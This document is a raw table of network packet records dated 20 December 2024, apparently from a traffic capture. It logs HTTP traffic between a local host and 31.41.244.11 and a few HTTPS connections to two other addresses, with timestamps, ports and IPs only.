Dec 20, 2024 07:12:28.837928057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.838956118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.839025974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.839127064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.839181900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.840116024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.840178013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.970500946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.970560074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.970622063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.970750093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.970818996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.970954895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.971590042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.971945047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.972004890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.972058058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.972114086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.973141909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.973282099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.973350048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.974334002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.974401951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.974478960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.974538088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.975507021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.975575924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.975636005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.975922108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.976682901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.976799965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.976876020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.977866888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.977932930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.977941990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.977994919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.978209019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.979073048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.979140997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.979219913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.980067015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.980295897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.980340958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.980357885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.980375051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.981436014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.981496096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.981549978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.981848001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.982608080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.982671022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.982717991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.982911110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.983802080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.983863115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.983869076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.983962059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.984991074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.985111952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.985213995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.986164093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.986268044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.986288071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.986325026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.987371922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.987431049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.987521887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.987576008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.988529921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.988609076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.988620043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.988671064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.989702940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.989797115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.989831924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.989906073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.990927935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.990982056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.991013050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.992099047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.992105961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.992147923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.992168903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.992217064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.993273973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.993478060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.993525028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.993552923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.994469881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.994586945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.994647026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.995639086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.995774031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.995846033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.996920109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.996956110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.997025013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.998012066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.998056889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.998121977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.998173952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.999212980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.999335051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.999409914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.000392914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.000565052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.000602007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.000654936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.001560926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.001677990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.001739025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.002736092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.002811909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.002860069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.002980947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.004069090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.004123926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.004180908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.004609108 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:29.004692078 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:29.004832983 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:29.005114079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.005172968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.005203962 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:29.005230904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.005238056 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:29.005295992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.006294012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.006426096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.006491899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.007519007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.007661104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.007719994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.008681059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.008809090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.008867025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.009848118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.009964943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.010001898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.010019064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.011116982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.011168957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.011225939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.012223005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.012371063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.012427092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.013520956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.013634920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.013668060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.013681889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.014584064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.014640093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.014703989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.014760971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.015775919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.015832901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.015908957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.015964031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.016982079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.017074108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.017086983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.017154932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.018153906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.018209934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.018275023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.018330097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.019335032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.019393921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.019447088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.019527912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.020519018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.020612001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.020643950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.020697117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.021745920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.021796942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.021826029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.021850109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.022878885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.022933006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.023013115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.023101091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.024079084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.024137974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.024209976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.024262905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.025285959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.025397062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.025425911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.025463104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.026436090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.026566982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.026626110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.027640104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.027704000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.027764082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.027818918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.028805971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.028861046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.028871059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.028922081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.030004978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.030061007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.030138016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.030190945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.031187057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.031256914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.031383991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.031438112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.032366991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.033544064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.064369917 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:29.064487934 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:29.064584970 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:29.064908981 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:29.064941883 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:29.162447929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.162555933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.162645102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.162962914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.163091898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.163242102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.164175034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.164237022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.164314985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.165330887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.165390968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.165404081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.165533066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.166528940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.166632891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.166805029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.167695999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.167778969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.167805910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.167860985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.168881893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.168983936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.169049978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.173257113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.173381090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.173444986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.173899889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.174061060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.174115896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.175086021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.175142050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.175188065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.176189899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.176246881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.176323891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.177397966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.177453995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.177503109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.178572893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.178627014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.178690910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.178745985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.179737091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.179860115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.179919004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.180924892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.181005001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.181061029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.182132006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.182203054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.182208061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.182332993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.183264971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.183335066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.183396101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.183470964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.184484959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.184545994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.184678078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.184736967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.185631990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.185765982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.185833931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.186861038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.186943054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.187004089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.188034058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.188097954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.188164949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.189217091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.189276934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.189322948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.189533949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.190404892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.190519094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.190578938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.191581964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.191715956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.191771984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.192751884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.192810059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.192873955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.193535089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.193958044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.194017887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.194081068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.194139957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.195136070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.195194960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.195260048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.195319891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.196307898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.196367979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.196439981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.196491957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.197549105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.197599888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.197657108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.198688030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.198740005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.198795080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.199870110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.199925900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.199987888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.201045990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.201101065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.201176882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.201530933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.202250957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.202366114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.202420950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.203445911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.203572035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.203625917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.204605103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.204749107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.204803944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.205790997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.205919027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.205972910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.206969976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.207027912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.207092047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.208261013 CET	80	49801	31.41.244.11	192.168.2.4
